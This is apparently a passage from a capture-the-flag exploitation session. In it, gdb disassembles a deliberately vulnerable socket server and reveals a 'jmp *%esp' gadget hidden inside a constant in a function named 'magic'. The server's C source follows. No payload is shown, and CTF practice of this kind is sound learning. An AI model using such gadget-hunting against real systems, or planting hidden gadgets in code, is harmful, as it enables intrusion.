  3141. 0x08048849 <+270>: mov %eax,(%esp)
  3142. 0x0804884c <+273>: call 0x80484f0 <bind@plt>
  3143. 0x08048851 <+278>: test %eax,%eax
  3144. 0x08048853 <+280>: jns 0x8048861 <main+294>
  3145. 0x08048855 <+282>: movl $0x80489f0,(%esp)
  3146. 0x0804885c <+289>: call 0x804864d <error>
  3147. 0x08048861 <+294>: movl $0x5,0x4(%esp)
  3148. 0x08048869 <+302>: mov 0x4c(%esp),%eax
  3149. 0x0804886d <+306>: mov %eax,(%esp)
  3150. 0x08048870 <+309>: call 0x8048500 <listen@plt>
  3151. ---Type <return> to continue, or q <return> to quit---q
  3152. Quit
  3153. (gdb) disass magic
  3154. Dump of assembler code for function magic:
  3155. 0x08048604 <+0>: push %ebp
  3156. 0x08048605 <+1>: mov %esp,%ebp
  3157. 0x08048607 <+3>: mov 0xc(%ebp),%eax
  3158. 0x0804860a <+6>: shl $0x3,%eax
  3159. 0x0804860d <+9>: xor %eax,0x8(%ebp)
  3160. 0x08048610 <+12>: mov 0x8(%ebp),%eax
  3161. 0x08048613 <+15>: shl $0x3,%eax
  3162. 0x08048616 <+18>: xor %eax,0xc(%ebp)
  3163. 0x08048619 <+21>: orl $0xe4ff,0x8(%ebp)
  3164. 0x08048620 <+28>: mov 0xc(%ebp),%ecx
  3165. 0x08048623 <+31>: mov $0x3e0f83e1,%edx
  3166. 0x08048628 <+36>: mov %ecx,%eax
  3167. 0x0804862a <+38>: mul %edx
  3168. 0x0804862c <+40>: mov %edx,%eax
  3169. 0x0804862e <+42>: shr $0x4,%eax
  3170. 0x08048631 <+45>: add %eax,%eax
  3171. 0x08048633 <+47>: mov %eax,%edx
  3172. 0x08048635 <+49>: shl $0x5,%edx
  3173. 0x08048638 <+52>: add %edx,%eax
  3174. 0x0804863a <+54>: mov %ecx,%edx
  3175. 0x0804863c <+56>: sub %eax,%edx
  3176. 0x0804863e <+58>: mov %edx,%eax
  3177. 0x08048640 <+60>: mov %eax,0xc(%ebp)
  3178. 0x08048643 <+63>: mov 0xc(%ebp),%eax
  3179. 0x08048646 <+66>: mov 0x8(%ebp),%edx
  3180. 0x08048649 <+69>: and %edx,%eax
  3181. 0x0804864b <+71>: pop %ebp
  3182. 0x0804864c <+72>: ret
  3183. End of assembler dump.
  3184. (gdb) x/i 0x08048619
  3185. 0x8048619 <magic+21>: orl $0xe4ff,0x8(%ebp)
  3186. (gdb) x/i 0x0804861c
  3187. 0x804861c <magic+24>: jmp *%esp
  3188. (gdb) q
  3189. jones@pwnable:~$ vi agent-jones.c
  3190.  
  3191. return 1;
  3192. }
  3193.  
  3194. int srv = socket(AF_INET, SOCK_STREAM, 0);
  3195. if (srv < 0)
  3196. error("socket()");
  3197.  
  3198. int on = 1;
  3199. if (setsockopt(srv, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)) < 0)
  3200. error("setting SO_REUSEADDR failed");
  3201.  
  3202. struct sockaddr_in server, client;
  3203. memset(&server, 0, sizeof(server));
  3204. server.sin_family = AF_INET;
  3205. server.sin_addr.s_addr = INADDR_ANY;
  3206. server.sin_port = htons(atoi(argv[1]));
  3207.  
  3208. if (bind(srv, (struct sockaddr *) &server, sizeof(server)) < 0)
  3209. error("bind()");
  3210.  
  3211. if (listen(srv, 5) < 0)
  3212. error("listen()");
  3213.  
  3214. socklen_t c = sizeof(client);
  3215. int client_socket;
  3216. for (;;)
  3217. {
  3218. if ((client_socket = accept(srv, (struct sockaddr *) &client, &c)) < 0)
  3219. error("accept()");
  3220. handle(client_socket);
  3221. close(client_socket);
  3222. }
  3223.  
  3224. return 0;
  3225. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement